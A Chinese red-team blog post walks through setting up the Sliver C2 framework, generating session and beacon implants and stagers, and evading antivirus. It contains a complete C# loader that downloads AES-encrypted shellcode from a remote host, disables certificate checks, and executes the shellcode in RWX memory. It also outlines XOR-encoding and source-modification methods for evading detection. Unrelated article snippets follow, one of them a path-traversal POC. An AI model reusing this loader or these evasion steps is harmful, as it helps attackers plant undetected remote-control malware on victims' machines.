免杀对抗-安全工具篇新型Go架构C2-Sliver多平台上线模式红队集成研究免杀方向

在这里插入图片描述

首先,你需要分析:
1、安全工具是否有源代码
2、安全工具源代码逻辑复杂程度
3、当前源代码你是否有能力修改
其次,你需要考虑:
1、无源码或无能力修改
2、各种异常bug打包问题
3、修改打包后效果也不太好
故:
1、非源码修改方式:
转换SC利用同C2的加载上线模式进行对抗(难度小速度快但效果不一)
2、源码修改方式:
魔改源码打乱特征的方法重新定义工具项目(难度大但修改好后效果稳)

安全工具-新型C2-Sliver使用详解

Sliver C2 是一个开源的跨平台红队框架,采用Go开发,目前特征相对于CS更少!
集成了MSF命令行运行模式,又结合了CS的优势特点,合并提供了两种操作模式
Beacon mode:实现了异步通信方式
Session mode:实现了实时会话方式
优势:
免杀能力强化
模块化多扩展
多操组员模式
开源移植性强
支持多平台(Linux, Windows and MacOS)

Implant | 植入物
Listener | 监听器
Sessions | 会话
Beacons | 信标
Armory | 扩展管理器
Multiplayer | 多操作员模式
参考:https://forum.butian.net/share/2243

服务端:

sudo apt-get install mingw-w64 binutils-mingw-w64 g+±mingw-w64
给予执行权限:chmod +x sliver-server_linux
直接执行启用:sudo ./sliver-server_linux
生成连接凭据:new-operator --name xiaodisec --lhost 192.168.139.228
启用多人运动:multiplayer

客户端:

导入凭据:
sliver-client_windows.exe import xiaodisec_192.168.139.228.cfg
再次连接:
sliver-client_windows.exe

生成exe

Session mode:
generate --http http://192.168.139.141:90 --os windows
Beacon mode:
generate beacon --http http://192.168.139.141:90 --os windows -S 5

Session mode(Shellcode)

创建profiles
http -l 9002
profiles new --http 192.168.139.141:9002 --skip-symbols --format shellcode --arch amd64 session_test
创建分阶段监听器
stage-listener --url tcp://192.168.139.141:8443 --profile session_test
创建Stager
generate stager --lhost 192.168.139.141 --lport 8443 --arch amd64 --format c

Beacon mode(Shellcode)

http -l 9003
profiles new beacon --http 192.168.139.141:9003 --skip-symbols --format shellcode --arch amd64 beacon_test(-S 5)
stage-listener --url tcp://192.168.139.141:8003 --profile beacon_test
generate stager --lhost 192.168.139.141 --lport 8003 --arch amd64 --format c

配合C# AES

参考:https://sliver.sh/docs?name=Stagers

http -l 9004
profiles new beacon --http 192.168.139.141:9004 --skip-symbols --format shellcode --arch amd64 xiaodisec
stage-listener --url http://192.168.139.141:8004 --profile xiaodisec --aes-encrypt-key xiaodigayaxiaodi --aes-encrypt-iv gayagayagayagaya
访问http://192.168.139.141:8004/xx.woff

创建出C#项目

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;namespace Sliver_stager
{class Program{private static string AESKey = "D(G+KbPeShVmYq3t";private static string AESIV = "8y/B?E(G+KbPeShV";private static string url = "http://192.168.24.128:8443/test.woff";[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("kernel32.dll")]static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);public static void DownloadAndExecute(){ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;System.Net.WebClient client = new System.Net.WebClient();byte[] shellcode = client.DownloadData(url);List<byte> l = new List<byte> { };for (int i = 16; i <= shellcode.Length -1; i++) {l.Add(shellcode[i]);}byte[] actual = l.ToArray();byte[] decrypted;decrypted = Decrypt(actual, AESKey, AESIV);IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);Marshal.Copy(decrypted, 0, addr, decrypted.Length);IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);WaitForSingleObject(hThread, 0xFFFFFFFF);return;}private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV){byte[] key = Encoding.UTF8.GetBytes(AESKey);byte[] IV = Encoding.UTF8.GetBytes(AESIV);using (Aes aesAlg = Aes.Create()){aesAlg.Key = key;aesAlg.IV = IV;aesAlg.Padding = PaddingMode.None;ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);using (MemoryStream memoryStream = new MemoryStream(ciphertext)){using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write)){cryptoStream.Write(ciphertext, 0, ciphertext.Length);return memoryStream.ToArray();}}}}public static void Main(String[] args){DownloadAndExecute();}}
}

生成exe上线

配合PowerShell

参考:https://forum.butian.net/share/2275

profiles new beacon --http 192.168.139.141:9005 --skip-symbols --format shellcode --arch amd64 pstest
http -l 9005
stage-listener --url http://192.168.139.141:8005 --profile pstest

安全工具-新型C2-Sliver免杀方向

1、同CS一样针对ShellCode处理

generate stager --lhost x.x.x.x --lport xx --format raw
file_fl_xor.cpp
2、源码级别的二开魔改打乱特征
-默认生成的模版
-Profile流量模版
-改动工具执行调用链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/786100.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VScode使用Prettier格式化代码

1、安装Prettier插件 2、扩展设置 3、设置.prettierrc.json配置文件路径 4、.prettierrc 配置文件 .prettierrc.json 是 Prettier 格式化工具的配置文件&#xff0c;用于指定代码格式化的规则和风格。下面是一些可能的配置选项&#xff0c;请自行选择&#xff1a; {"prin…

Yarn与Zookeeper的介绍

Yarn--三大调度策略 FIFO(先进先出): 目前几乎已经没有人使用了. 类似于: 单行道. 好处: 每个计算任务能独享集群100%的资源. 弊端: 不能并行执行, 如果大任务过多, 会导致小任务执行时间过长. Capacity(容量调度): 我们用…

找到矩阵中位于降序15%位置的值

MATLAB实现 clc clearvars; matrix randn(10, 10); % 一个示例矩阵 disp(matrix)value find_value_at_15_percent(matrix); disp([位于降序中15%位置的值为: , num2str(value)]);% 验证 xreshape(matrix,1,100); ysort(x,descend); y(1:16)function value_at_15_percent fi…

缓存(反向代理)服务器-varnish

varnish简介&#xff1a; varnish是一款高性能且开源的反向代理服务器和HTTP加速器&#xff0c;&#xff08;其实就是带缓存的反向代理服务器&#xff09;它可以把整个HTTP响应内容缓存到内存或文件中&#xff0c;从而提高web服务器器的响应速度。 与传统的squid相比&#xff0…

如何提高图片的分辨率?dpi修改工具推荐

在调整分辨率之前&#xff0c;我们需要了解什么是dpi分辨率&#xff0c;简单来说&#xff0c;分辨率是指图像中包含的像素数量&#xff0c;分辨率越高&#xff0c;图像就越清晰&#xff0c;常见的分辨率包括72dpi、96dpi和300dpi等&#xff0c;在打印照片或者一些考试平台对图片…

02-JDK新特性-泛型

泛型 什么是泛型 泛型是JDK5中引入的特性&#xff0c;它提供了编译时类型安全检测机制&#xff0c;该机制允许在编译是检测到非法的类型。 它的本质是参数化类型&#xff0c;也就是说操作的数据类型被指定为一个参数。 也就是将类型有原来的具体类型参数化&#xff0c;然后在…

【CVE复现计划】CVE-2023-27179

CVE-2023-27179 简介&#xff1a; GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞&#xff0c;漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。 影响版本&#xff1a; GDidees CMS v3.9.1及更低版本 POC: /_admin/imgdownload.php?filename/fla…

MATLAB 自定义中值滤波(54)

MATLAB 自定义中值滤波(54) 一、算法介绍二、算法实现1.原理2.代码一、算法介绍 中值滤波,是一种常见的点云平滑算法,改善原始点云的数据质量问题,MATLAB自带的工具似乎不太友好,这里提供自定义实现的点云中值滤波算法,具体效果如下所示: 中值滤波前: 中值滤波后:…

前端性能优化-Table渲染速度优化

教务系统-排课页面性能优化总结 一、前言 在公司教务系统中,排课页面慢的令人发指,在某些情况由于数据量大导致页面主进程卡死,遂组织进行一次排查优化,现记录一下 二、效果对比 以下数据均为UAT环境 Performence对比 更改前: 主进程渲染时间为 8s 教务系统-排课页面性…

MHA的实验部署

一、前期准备 准备四台虚拟机&#xff0c;一台主服务器&#xff0c;一台管理服务器&#xff0c;两台从服务器 在开始之前先要关闭所有服务器的防火墙&#xff0c;以免有一些麻烦 二、实际操作 2.1 配置主服务器 2.2 配置从服务器1和2 2.3 给主从服务器实现软链接 2.4 配置mysql…

TypseScript再学习之类型别名和接口(10)

先看类型别名&#xff1a;使用关键字 type 声明,注意有等于号额 // 类型别名 使用关键字 type 声明,注意有等于号额 type Cat {name: string; }; let huahua: Cat {name: "花花", };type和interface不同之处在于&#xff1a;interface 是可以自动合并类型的&#…

【单片机 5.3开关检测】

文章目录 前言一、5.3开关检测1.1没按键按下的1.2有按键按下的 二、改进1.改进 三、独立键盘3.1为什么要取反3.2 实用的按键 总结 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 课程需要&#xff1a; 提示&#xff1a;以下是本篇文章正文内容&#xf…

春暖助学 梦想启航

&#xff08;通讯员&#xff1a;赵灿飞 图&#xff1a;杨美、孙红浪&#xff09; 春风拂面暖阳斜&#xff0c;爱心助学谱华章。为弘扬中华民族传统美德&#xff0c;动员社会力量&#xff0c;传播社会爱心&#xff0c;缓解宁乡西部特殊家庭学子学业面临的实际困难&#xff…

CorePoolExecutor夺命连环问?看你可以接受几招?

一、前言 今天我在看why技术的时候&#xff0c;看到了这个。发现这个没有全部的八股回答&#xff1f;于是我就结合自己的经验&#xff0c;分享下八股 二、八股问答 2.1了解JDK Executors线程池吗? Executor就是一个线程池框架&#xff0c;在开发中如果需要创建线程可优先考…

JMeter自定义日志与日志分析

1 JMeter日志概览 JMeter与Java程序一样&#xff0c;会记录事件日志&#xff0c;日志文件保存在bin目录中&#xff0c;名称为jmeter.log。当然&#xff0c;我们也可以在面板中直接察看日志&#xff0c;点击右上角黄色标志物可以打开日志面板&#xff0c;再次点击收起。 可见&…

从入门到实战:vue3路由知识点

本人在B站上关于vue3的尚硅谷的课程&#xff0c;以下是整理一些笔记。 1.两个知识点 1.路由组件通常存放在pages 或 views文件夹&#xff0c;一般组件通常存放在components文件夹。 组件可以分为&#xff1a; 1. 一般组件&#xff1a;亲手写标签出来的 2. 路由组件&#…

非关系型数据库——Redis配置与优化

目录 一、关系型数据库和非关系型数据库 1.定义 1.1关系型数据库 1.2非关系型数据库 2.非关系型数据库产生的背景 3.关系型数据库和非关系型数据库区别 3.1适用性不同 3.2数据一致性要求不同 3.3数据模型不同 3.4数据查询语言不同 3.5数据存储方式不同 3.6扩展方式…

用Servlet实现一个简单的表白墙

1. 准备工作 创建项目,引入依赖...... 将静态页面放到项目中(放在webapp目录下): 当前,这个表白墙页面,已经可以输入内容,点击提交之后也能显示内容,后续后端要做的工作即: ①存档 用户点提交的时候,把刚才输入的内容通过网络传输给服务器,由服务器保存这个数据. ②读档 …

[中级]软考_软件设计_计算机组成与体系结构_04_寻址地址

寻址地址 概念指令的概念 寻址方式立即寻址方式直接寻址方式间接寻址方式寄存器寻址方式寄存器间接寻址方式往年真题 概念 指令的概念 一条指令就是机器语言的一个语句&#xff0c;它是一组有意义的二进制代码&#xff0c;指令的基本格式如下&#xff1a; 操作码字段地址码字…